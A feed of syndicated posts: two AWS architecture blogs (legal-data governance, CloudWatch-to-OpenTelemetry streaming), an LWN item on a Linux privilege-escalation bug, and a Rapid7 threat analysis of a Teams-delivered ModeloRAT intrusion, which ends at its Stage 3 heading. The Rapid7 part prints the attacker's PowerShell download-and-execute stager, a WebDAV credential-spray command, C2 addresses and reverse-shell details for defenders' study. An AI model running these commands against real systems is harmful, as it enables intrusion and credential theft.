Securing client confidentiality at scale: Automated data discovery and governed analytics for legal workloads

Post Syndicated from Rohan Kamat original https://aws.amazon.com/blogs/big-data/securing-client-confidentiality-at-scale-automated-data-discovery-and-governed-analytics-for-legal-workloads/

Automating data security and analytics for legal documents presents a unique challenge when your legal team stores documents with strong access controls, organized by client and matter, encrypted at rest, and governed by well-defined policies. But what happens when you want to run analytics across those repositories? The typical path is extracting content into separate data pipelines or third-party tools, which fragments your governance model and introduces new risks. Law firms and corporate legal departments operate under distinct obligations that make data governance non-negotiable. Attorney-client privilege, work product doctrine, and professional conduct rules impose strict duties around how client information is handled, accessed, and disclosed. Governance failure in this context isn’t just a compliance gap, it can result in privilege waiver, disqualification from representation, or disciplinary action.

Legal professionals use ethical walls, also called information barriers, as structural safeguards that prevent the flow of confidential information between teams within a firm that represent adverse or potentially conflicting interests. Professional conduct rules mandate these barriers, and failure to maintain them can result in firm disqualification, malpractice liability, or regulatory sanctions.

Privilege boundaries are equally critical. Attorney-client privilege and work product protection apply only when you properly control access to the underlying material. If you expose privileged documents or metadata about their contents to unauthorized individuals, you risk losing your privilege protection. When organizations fail to maintain reasonable controls over privileged material, courts might find that they have waived their privilege. You should therefore actively manage your access governance, not only as a security concern but as a legal preservation requirement.When you extract content into separate analytics systems or grant broader access than your matter structures support, you create pressure on both protections. You gain visibility but lose confidence in your controls.

In this post, we show you a reference architecture that automates sensitive data discovery across legal document repositories on Amazon Web Services (AWS), demonstrate how to capture structured findings as a compliance dataset, and guide you through building a governed analytics workspace that maintains your security boundaries. You walk away with a practical model for building security and analytics into the same lifecycle, without moving documents outside their system of record.

Analytics shouldn’t weaken governance

Most legal organizations have invested heavily in securing their document repositories. You store documents in structured storage, organized by client and matter. You access controls map to matter boundaries (the organizational and access structures that separate one client engagement from another). You establish retention and hold policies.The difficulty starts when teams want to analyze what’s inside those repositories. Running analytics typically means copying content into a separate system, standing up a new data pipeline, or granting broader access than existing matter structures support. Each of these steps introduces governance gaps. Manual reporting fills some of the void, but it doesn’t scale and can’t provide continuous visibility. What’s missing is a model where security controls and analytics reinforce each other, where the act of discovering sensitive data also produces the dataset that you use for reporting, and where governance applies once and carries through every downstream operation.

Automation addresses this by combining continuous sensitive data discovery with governed analytics, built on discovery metadata rather than document copies. This automated approach delivers four key advantages:

  • No document movement. Your files stay in their system of record. Analytics runs against structured discovery metadata, not document content, so governance boundaries remain intact.
  • Continuous discovery instead of manual scanning. Automated classification identifies regulated and sensitive information on an ongoing basis, replacing periodic manual reviews with on demand visibility.
  • Unified governance. You define matter-aligned access policies once, and they carry through from document storage to findings analytics and compliance reporting.
  • Built-in audit readiness. A durable record of discovery findings and remediation actions accumulates automatically over time, giving you structured evidence for client reviews and regulatory inquiries.

Reference Architecture

The following architecture shows how continuous discovery, governance, and compliance operations can work together without copying legal documents into analytics systems.

This reference architecture illustrates how law firms and corporate legal departments can automate sensitive data discovery and compliance analytics on AWS without moving documents outside their system of record

Architecture walkthrough

Store and protect documents in Amazon Simple Storage Service (Amazon S3)

Store your legal documents in Amazon S3, which serves as the system of record for document content. Align your buckets and prefixes to client and matter structures so that access controls map directly to matter boundaries. Where your retention or legal hold requirements demand it, apply S3 Object Lock to enforce immutability. You can encrypt your data using AWS Key Management Service (AWS KMS), which gives you centralized control over encryption keys and policies.

Discover and classify sensitive data with Amazon Macie

You will configure Amazon Macie to continuously analyze your document repositories. Macie identifies regulated information such as personally identifiable information (PII), financial data, and other sensitive content and produces structured findings that describe what Macie identified and where it exists. This provides ongoing visibility into data exposure without requiring document movement or manual scanning.

Catalog and govern findings with AWS Glue and AWS Lake Formation

You will use AWS Glue to catalog the findings dataset and maintain its schema so it stays query-ready. Apply AWS Lake Formation tag-based policies to govern access, aligning tags to client, matter, and confidentiality tier. This approach enforces ethical walls and least-privilege access consistently across analytics and reporting activities.

AI-powered chat agent using Amazon Quick Suite

You can create custom chat agents to tailor conversational interfaces for specific legal business needs. These agents can be configured with legal-specific knowledge bases, connected to relevant document repositories, and customized with instructions appropriate for legal workflows. You can use this chat agent to interact with your legal documents through natural language conversation for capabilities like:

  • E-Discovery:Search and analyze large volumes of legal documents to quickly find relevant information across your document repository.
  • Contract Analysis:Review contracts and automatically extract key terms, clauses, and obligations to streamline your contract review process.

The chat agent can help you navigate complex document sets through conversational queries, making legal research and document review more efficient and accessible.

Analyze and report with Amazon Quick Sight

You will use Amazon Quick as your compliance operations workspace. Quick provides a unified environment where your teams can query findings, generate dashboards, track remediation actions, and produce audit-ready reports. The agentic AI capabilities of Amazon Quick can autonomously build analyses, surface anomalies across matters, generate executive summaries for client reviews, and proactively recommend remediation priorities based on finding severity and trends. Combined with built-in data stories for automated narrative generation and pixel-perfect paginated reports for regulatory submissions, Quick reduces the time from discovery to action while keeping your teams within a governed interface aligned to matter-based permissions. Rather than switching between separate visualization, workflow, and reporting tools, your legal and compliance teams can review findings, manage response activities, and collaborate all within a single workspace that respects ethical walls and privilege boundaries.

Escalate high-severity findings

For high-severity findings that demand immediate attention, route alerts through AWS Security Hub or Amazon Simple Notification Service (Amazon SNS) to trigger escalation workflows. This connects visibility directly to action when your teams identify sensitive data risks.

Why this approach works for legal

Documents stay where they belong. Your files remain in Amazon S3, aligned to client and matter boundaries. No content moves into separate analytics pipelines.Ethical walls remain intact. Because analytics is built on discovery findings and not document copies, you can govern access to findings using the same matter-aligned controls that apply to documents. Compliance and security teams gain visibility without expanding document access.Discovery runs continuously, not periodically. Rather than scheduling quarterly or annual scans, you maintain a current view of sensitive data across your repositories.

Governance applies once and carries through. Lake Formation tag-based policies govern findings access at the catalog level. You define your matter and confidentiality mappings once, and they carry through to every dashboard, query, and report.Audit readiness is built in. Instead of assembling reports manually before a client review or regulatory inquiry, you maintain a historical record of discovery findings and remediation actions. You can demonstrate your posture over time with consistent, structured evidence.

Security and analytics reinforce each other. Your analytics capability is built on top of your security controls, not alongside them. Strengthening one strengthens the other.

Cost considerations

The primary cost drivers for this architecture include:

  • Amazon Macie: You pay based on the number of S3 buckets evaluated and the volume of data inspected for sensitive data discovery. Review Amazon Macie pricing for current rates.
  • Amazon S3: Storage costs for both your document repositories and the compliance intelligence bucket. Consider S3 lifecycle policies to tier older findings into lower-cost storage classes.
  • AWS Glue and AWS Lake Formation: Charges for crawlers and catalog storage. For most implementations, these costs are modest.
  • Amazon QuickSight: Per-user pricing based on the edition that you select (Standard or Enterprise). Enterprise edition supports row-level and column-level security, which aligns well with matter-based governance.
  • Amazon EventBridge, AWS Security Hub, and Amazon SNS: Charges based on event volume and notifications delivered. For findings-based workflows, these costs are generally low.

Use the AWS Pricing Calculator to estimate costs based on your repository size, user count, and discovery frequency.

Getting started

Start by identifying a representative set of document repositories in Amazon S3. We recommend that you start with two or three matters that span different practice areas and confidentiality tiers.

  1. Turn on Amazon Macie for those repositories and configure automated sensitive data discovery.
  2. Catalog the findings dataset with AWS Glue and apply Lake Formation tag-based access policies aligned to your matter structure.
  3. Build your first Amazon Quick Sight dashboard to visualize findings by matter, sensitivity type, and severity.
  4. Define escalation rules in AWS Security Hub or Amazon SNS for high-severity findings.

After you validate this workflow against your initial repositories, expand gradually. Add more repositories to Macie discovery. Refine your governance tags to reflect practice areas and confidentiality tiers. Extend your dashboards from basic posture visibility to trend analysis and remediation tracking.The goal isn’t to build a comprehensive analytics solution all at once. Start with a secure foundation where discovery findings, governance, and reporting operate together in a way that aligns with your legal workflows, and then expand from there.

Conclusion

You don’t have to choose between protecting client data and understanding it. By building analytics on top of governed discovery findings and using a unified compliance workspace, you gain visibility into your data posture without weakening confidentiality boundaries.This approach brings security, governance, and analytics together in a way that reflects how legal work is actually structured. It provides continuous visibility, supports audit readiness, and delivers insight without requiring documents to move outside their system of record.

Next steps

Review the Amazon Macie User Guide to understand sensitive data discovery configuration options and Amazon Quick Sight documentation to evaluate dashboard and row-level security capabilities.

Contact your AWS account team to discuss implementation support for legal and compliance workloads.

About the authors

Photo of Author - Rohan Kamat

Rohan Kamat

Rohan Kamat is a Solutions Architecture Leader within HCLS with extensive experience in cloud architecture, cybersecurity, Identity and Access Management, and enterprise networking. Rohan focuses on helping architects build both depth in cloud technologies and strength in executive communication, making sure they can confidently guide organizations through business and technical transformation. Outside of his professional work, Rohan enjoys time with his family, organizing community cricket events, and exploring fitness and wellness activities like pickleball and ping pong. He also enjoys planning travel experiences that bring people together and create lasting shared memories.

Photo of Author- Miguel Lopez Luis

Miguel Lopez Luis

Miguel Lopez Luis is an AWS Solutions Architect who works with small and medium businesses across the United States. He graduated with a Bachelor’s degree in Cybersecurity from Bellevue University in Nebraska and is a member of the Omega Nu Lambda Honor Society. Leveraging his extensive expertise in business management, Miguel is passionate about planning strategic initiatives, leading cross-functional teams, and mentoring others. In his personal time, he enjoys activities that involve travel, sports, and cooking.

Photo of Author - Pranali Khose

Pranali Khose

Pranali Khose is an AWS Solutions Architect based in Seattle. She works directly with small and medium business (SMB) customers across the United States, to design and implement cloud solutions that address their unique business challenges and accelerate digital transformation. Pranali holds a Master of Science in Computer Science from the University of Texas at Arlington.

Streaming CloudWatch metrics to VPC-based OpenTelemetry collectors using Lambda

Post Syndicated from Behzad Dastur original https://aws.amazon.com/blogs/architecture/streaming-cloudwatch-metrics-to-vpc-based-opentelemetry-collectors-using-lambda/

Organizations are increasingly drawn to open-source observability frameworks like OpenTelemetry. They seek to reduce costs associated with third-party licensing and avoid vendor lock-in. Combining OpenTelemetry collectors with Amazon CloudWatch Metric Streams helps enterprises pursue their observability goals while eliminating third-party licensing fees and achieving sub-minute latency for real-time alerting. CloudWatch Metric Streams offer built-in support for publishing to OpenTelemetry endpoints, but organizations that self-host OpenTelemetry collectors within their VPC need a way to bridge the gap between metric streams and internal HTTP endpoints.

In this post, we demonstrate an approach we used to address this challenge for a customer by implementing an AWS Lambda transformation function that streams Amazon CloudWatch metrics directly to internal OpenTelemetry collectors running within a VPC.

Common observability challenges overcome with OpenTelemetry

Traditional monitoring becomes expensive and difficult to manage as cloud infrastructure grows. Many enterprises face a choice between expensive third-party observability solutions and the technical limitations of legacy metric collection methods. When organizations adopt cloud-native solutions and transition from monolithic applications to microservices, metric collection for observability becomes even more important.

Many operations and development teams face the challenge of building monitoring solutions that include tools and frameworks from different vendors and open-source projects, with different specifications and protocols, resulting in complex and fragmented landscape that’s difficult to maintain. OpenTelemetry is becoming the primary way to implement observability for many organizations. OpenTelemetry is an open-source framework for collecting traces, metrics, and logs. It works with any observability platform. Amazon CloudWatch, the AWS monitoring service, provides an open source distribution of OpenTelemetry called AWS Distro for OpenTelemetry to help you get started with OpenTelemetry. OpenTelemetry gained industry adoption primarily because of the standardization it provides enterprises through the following benefits:

  • Single set of APIs and libraries to capture distributed traces and metrics that can be sent to any observability platform
  • Future-proofing by avoiding vendor lock-in and enabling flexibility in choosing observability backends
  • Broad vendor support because it is open sourced and natively supported by numerous vendors

Pull vs push-based monitoring architecture

In a pull model like Prometheus, the monitoring server periodically scrapes metrics from endpoints. Although this model provides more control over query frequency, it runs into challenges at scale. Our customer’s current monitoring solution with Prometheus and Amazon CloudWatch exporter using a pull-based approach resulted in higher API throttling. This caused metric loss and created gaps in observability data for business-critical systems. The frequent polling approach in this model also resulted in higher costs from API calls. This polling solution did not satisfy their requirement of sub-minute latency for real-time alerting.

To overcome these challenges, we recommend a push–based architecture. The push-based solution, using CloudWatch Metric Streams to push metrics to OpenTelemetry collector, addresses these challenges by reducing frequent polling and API calls, enabling near real-time data transmission, and potentially eliminating licensing costs from using third-party solutions. Using OpenTelemetry’s push-based model, enterprise applications can send telemetry (traces, metrics, logs) to a collector or backend that offers significant benefits for real-time observability, such as:

  • Event-driven architecture: The push approach transmits data in near real-time by triggering collection based on events, not periodic polling. This is particularly valuable when using OpenTelemetry collectors that can push metrics to multiple services like Amazon Managed Prometheus (AMP), AWS X-Ray, Amazon CloudWatch, and Amazon OpenSearch.
  • Cost efficiency: Push models are significantly more cost-effective than pull models. Instead of continuously scanning large datasets, systems only process and transmit data when relevant events occur, reducing both computational overhead and data transfer costs.
  • Scalability: The OpenTelemetry collector serves as a central hub that can scale horizontally to handle varying traffic volumes while providing at-least-once delivery guarantees with automatic retry mechanisms.
  • No licensing costs: The Apache 2.0 license is free and royalty-free, meaning you can use, modify, and distribute OpenTelemetry without any licensing fees or ongoing costs.
  • No vendor lock-in: The permissive nature of Apache 2.0 means you’re not tied to any specific vendor’s implementation or support model. You can modify the code, switch between different OpenTelemetry distributions (like AWS Distro for OpenTelemetry), or even fork the project if needed.

How we built a scalable push-based observability solution

Our solution involves configuring an Amazon Data Firehose stream, that receives Amazon CloudWatch metrics and sends them to an OpenTelemetry collector within our customer’s VPC. Because of their strict data privacy requirements, our customer required the metric data and the OpenTelemetry collector to be within their VPC. A Network Load Balancer (NLB) serves as the internal endpoint to receive metric streams. Amazon Data Firehose natively supports data delivery to HTTP endpoints, but these endpoints must be public – they cannot be private endpoints inside a VPC. To overcome this limitation, we use the Amazon Data Firehose transform configuration, that invokes a Lambda function synchronously, which then securely pushes the metrics through the NLB endpoint to the collector running within the VPC. With this solution our customer could then aggregate and display all their metrics from AWS, other accounts, and on-prem systems in a single pane of glass dashboard.

The following diagram shows the architectural blocks of the solution:

Figure 1: Reference architecture for the Amazon CloudWatch Streams to OpenTelemetry collector solution

The solution consists of 4 main components – CloudWatch Metric Streams, Amazon Data Firehose, AWS Lambda, and the OpenTelemetry collector.

  1. CloudWatch metric streams: CloudWatch Metric streams enables you to stream CloudWatch metrics in near real-time, with minimal setup and without writing code. In this architecture, CloudWatch streams metrics to our configured Amazon Data Firehose stream. With CloudWatch Metric Streams, you can stream metrics in OpenTelemetry 0.7, 1.0, and JSON formats. This architecture uses JSON format as the stream output.
  2. Amazon Data Firehose stream: A fully managed service that reliably captures, transforms, and delivers real-time streaming data to the customer’s internal endpoint.
  3. Lambda transform function: Amazon Data Firehose supports Lambda-based data transformation that allows you to preprocess, enrich, filter, or modify streaming data before delivery to destinations. Because Firehose cannot deliver metrics directly to private VPC endpoints, we use Firehose’s data transformation feature with Lambda to bridge this gap and deliver metrics to internal endpoints. Amazon Data Firehose buffers incoming data before synchronously invoking the Lambda function that streams the metrics to the internal HTTP endpoint.
  4. The OpenTelemetry collector: In this solution, the OpenTelemetry collector runs as a container in an EC2 instance. The collector is a central hub that receives, processes, and forwards telemetry data (metrics, traces, and logs) from various sources to multiple destinations in a vendor-neutral way. The OpenTelemetry collector operates through three primary components that work together in a processing flow: Receivers accept data in specified formats (like Prometheus or OpenTelemetry Protocol (OTLP)) and translate it into OpenTelemetry’s internal format; Processors manipulate and enrich the data as it flows through (filtering unnecessary data, batching for performance, transforming to mask sensitive information, or adding metadata like Kubernetes attributes); and Exporters send the processed data to destination backends such as Grafana Cloud, AWS X-Ray, Lightstep or Honeycomb.

The reference architecture also shows the following components:

  1. Amazon Simple Storage Service (Amazon S3) bucket: The S3 bucket is a redundant destination for the CloudWatch Streams. Because our Lambda transform function sends the data directly to OpenTelemetry endpoint, no metrics are sent to the S3 destination, and it does not incur any cost.
  2. Network Load Balancer: This NLB operates at the transport layer of the Open Systems Interconnection (OSI) model. In this architecture, the NLB distributes TCP traffic to the OpenTelemetry collectors running on EC2 Instances in the internal subnet within the VPC.
  3. Amazon Elastic Compute Cloud (Amazon EC2) instance: In this architecture, we run the OpenTelemetry collector on the EC2 instances. The instances run in the private subnet within our VPC.

The following sections detail the steps for deploying this solution in your own AWS environment. You can deploy this solution using either AWS CloudFormation or the AWS Command Line Interface (AWS CLI). Deployment time and complexity will vary based on your familiarity with these AWS services.

Implementation details

Prerequisites:

Before deploying this solution, verify that you have the following:

  • An AWS account with permissions to create CloudWatch Metric Streams, Amazon Data Firehose, Lambda, and EC2 resources
  • AWS CLI v2 installed and configured.
  • AWS Serverless Application Model (AWS SAM) CLI installed.
  • A VPC with at least two subnets configured in different Availability Zones and security groups to allow necessary inbound and outbound traffic.

We can implement this architecture in two ways: deploying with AWS CloudFormation or deploying with the AWS CLI.

Option 1: Deploying with AWS CloudFormation

This walkthrough creates a CloudFormation stack, that deploys an Amazon Data Firehose stream, Amazon CloudWatch stream, S3 bucket, Lambda function for data transformation.

Access the CloudFormation template by cloning the git repository.

Step 1 – Package the Lambda artifacts for the CloudFormation template.

This step creates the cf-packaged-file.yaml file and publishes the Lambda Layer code packaged to the specified S3 bucket cf-stage-bucket-203918862653:

~> pwd
   sample-cloudwatch-metrics-stream-otel-transformer/cloudformation 
~> ./setup_layer.sh 
~>
~> aws cloudformation package \
    —template-file ./cloudformation-template.yaml \
    —s3-bucket cf-stage-bucket-xxxxx \
    —output-template-file cf-packaged-file.yaml

   Uploading to 9813804ccc99d538f6d4ef06c4857bab 223 / 223.0 (100.00%)
   Successfully packaged artifacts and wrote output template to file cf-packaged-file.yaml.
   Execute the following command to deploy the packaged template
  aws cloudformation deploy —template-file ~/code/sample-cwmetrics-   sep25/sample-cloudwatch-metrics-stream-otel-transformer/cloudformation/cf-packaged-file.yaml —stack-name <YOUR STACK NAME>

Step 2 – Create CloudFormation stack using the console.

  1. Sign in as an administrator to the AWS Management Console and use the navigation bar to select your preferred AWS Region for deployment.
  2. Navigate to the CloudFormation dashboard to create stack.
  3. Choose ‘Create Stack’ and choose “Choose an existing template”. Upload the template file and choose the cf-packaged-file.yaml created in the first step.

  1. Configure the key parameters.

  1. Acknowledge the Capabilities to allow CloudFormation to create the necessary LambdaExecutionRole IAM role with the required permissions.

  1. Finally, review and choose ‘Next’ to create the CloudFormation stack.

Option 2: Deploying with AWS Command Line Interface

Alternatively, you can run the following steps from a terminal using the AWS CLI to package and create your CloudFormation stack.

Access the CloudFormation template by cloning the git repository.

Step 1 – Package the Lambda artifacts for the CloudFormation template.

This step creates the cf-packaged-file.yaml file and publishes the Lambda Layer code packaged to the specified S3 bucket cf-stage-bucket-203918862653.

~> pwd
   sample-cloudwatch-metrics-stream-otel-transformer/cloudformation 
~> ./setup_layer.sh 
~>
~> aws cloudformation package \
    —template-file ./cloudformation-template.yaml \
    —s3-bucket cf-stage-bucket-xxxxxxxxxx \
    —output-template-file cf-packaged-file.yaml

   Uploading to 9813804ccc99d538f6d4ef06c4857bab 223 / 223.0 (100.00%)
   Successfully packaged artifacts and wrote output template to file cf-packaged-file.yaml.
   Execute the following command to deploy the packaged template
  aws cloudformation deploy —template-file ~/code/sample-cwmetrics-   sep25/sample-cloudwatch-metrics-stream-otel-transformer/cloudformation/cf-packaged-file.yaml —stack-name <YOUR STACK NAME>

Step 2 – Create stack using AWS Command Line Interface.

Create a parameters.json file as follows:

%~> cat parameters.json 
[
  {
    "ParameterKey": "Subnet1",
    "ParameterValue": "subnet-xxxxxxxxxx"
  },
  {
    "ParameterKey": "Subnet2",
    "ParameterValue": "subnet-yyyyyyyyyy"
  },
  {
    "ParameterKey": "SecurityGroup",
    "ParameterValue": "sg-xxxxxxxxxx"
  },
  {
    "ParameterKey": "OtelCollectorEndpoint",
    "ParameterValue": "http://your-otel-endpoint:4318/v1/metrics"
  },
  {
    "ParameterKey": "MetricStreamNamespaces",
    "ParameterValue": ""
  },
  {
    "ParameterKey": "S3BucketPrefix",
    "ParameterValue": "cloudwatch-metrics-stream"
  }
]

Run the CloudFormation create-stack CLI as follows:

~> aws cloudformation create-stack \
     --stack-name cw-metrics-demo \
     --template-body "file://cf-packaged-file.yaml" \
     --parameters file://parameters.json \
     --capabilities CAPABILITY_NAMED_IAM \
     --region us-east-1 --profile dev

After you deploy the infrastructure stack, CloudWatch Metric Streams initiates the flow by streaming near real-time metrics from customer applications. Amazon Data Firehose asynchronously invokes the Lambda transform function that sends metrics directly to the OpenTelemetry collector endpoint. You must then configure these collectors to apply additional processing, such as filtering, batching, and enrichment. The collectors forward metrics to one or more observability backends, such as Honeycomb, Jaeger, Grafana Cloud, or other dashboards.

Clean up

To avoid incurring unnecessary charges after testing the proof of concept (POC), clean up the resources. You can do so by deleting the CloudFormation stack to remove all deployed resources.

Option 1: Using the console:

  • Sign in as an administrator to the AWS Management Console and use the navigation bar to select your preferred AWS Region for deployment.
  • Navigate to the CloudFormation dashboard to create stack.
  • Select the ‘cw-metrics-demo’ stack and choose “Delete”.

Option 2: Using AWS CLI:

aws cloudformation delete-stack \ --stack-name cw-metrics-demo \ --region us-east-1 --profile dev

Conclusion

In this post, we showed how moving from third-party observability tools to CloudWatch Metric Streams with OpenTelemetry can reduce costs and improve performance. The solution we implemented combines AWS streaming with the OpenTelemetry standard to create a flexible and scalable monitoring solution that can adapt to changing requirements while maintaining operational excellence. If you face similar challenges with your observability solution, this approach offers a proven path to reduce costs, improve performance, and maintain control over your monitoring data.

About the authors

Yet another Dirty Frag type vulnerability: Fragnesia

Post Syndicated from jzb original https://lwn.net/Articles/1072647/

Sam James has sent an announcement
to the OSS Security mailing list about another
local-privilege-escalation (LPE) exploit in the same class as Dirty Frag, called
“Fragnesia”. From the disclosure:

This is a separate bug in the ESP/XFRM from dirtyfrag which has received its own patch. However, it is in the same surface and the mitigation is the same as for dirtyfrag.

It abuses a logic bug in the Linux XFRM ESP-in-TCP subsystem to
achieve arbitrary byte writes into the kernel page cache of read-only
files, without requiring any race condition.

James noted that there is a patch
in the works, but it has not yet been pulled into Linus Torvalds’s
tree nor into any of the stable kernels. A proof
of concept exploit is also available.

When IT Support Calls: Dissecting a ModeloRAT Campaign from Teams to Domain Compromise

Post Syndicated from Anna Širokova original https://www.rapid7.com/blog/post/tr-it-support-dissecting-modelorat-campaign-microsoft-teams-compromise

Overview

Attackers do not need to break into the front door when they can convince employees to open it for them through the tools they already trust.

In April 2026, Rapid7 investigated an enterprise intrusion that began with a Microsoft Teams message from a fake “IT Support” account and quickly escalated into a full compromise chain involving malware deployment, privilege escalation, credential theft, lateral movement, and exfiltration. The incident illustrates a critical risk for modern enterprises: Collaboration platforms have become part of the attack surface, and when combined with identity abuse and Living-off-the-Land techniques, they can provide attackers with a low-friction path into the environment.

Therefore, this attack was particularly concerning due to the way the intrusion shifted from endpoint compromise to broader identity-driven risk. And while it was not surprising that the attacker used a novel technique, what was concerning was how the attacker was able to chain together familiar enterprise weaknesses into a fast-moving and operationally effective intrusion.

By abusing Teams external access, the threat actor delivered a Dropbox-hosted Python payload that established command-and-control, deployed multiple backdoors, and began mapping the internal environment. The attacker then escalated privileges to SYSTEM using CVE-2023-36036 before deploying a fake Windows lock screen designed to harvest the user’s domain password.

Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

ModeloRAT-attack-chain-teams-payload.png
Figure 1: Attack chain from Teams phishing to payload delivery, ModeloRAT execution, privilege escalation, and lateral movement with exfiltration.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

  • collector.py (reconnaissance)

  • Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator’s C2 server uses to identify this victim.

The script gathered the following information:

System identity and patch level

systeminfo, domain queries

Privilege context

whoami /all and .NET Security.Principal checks (USER / ADMIN / SYSTEM)

Processes and services

Get-Process, Get-Service

Network visibility

getmac.exe, arp -a, Get-NetTCPConnection, ping.exe

Domain visibility

ran adsisearcher to enumerate accessible systems

AV-Solutions

Securityhealthhost.exe, which is commonly used to verify if anti-virus solutions are running on the system

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Obfuscated-collector-py.png
Figure 3: Obfuscated collector.py

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying  back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

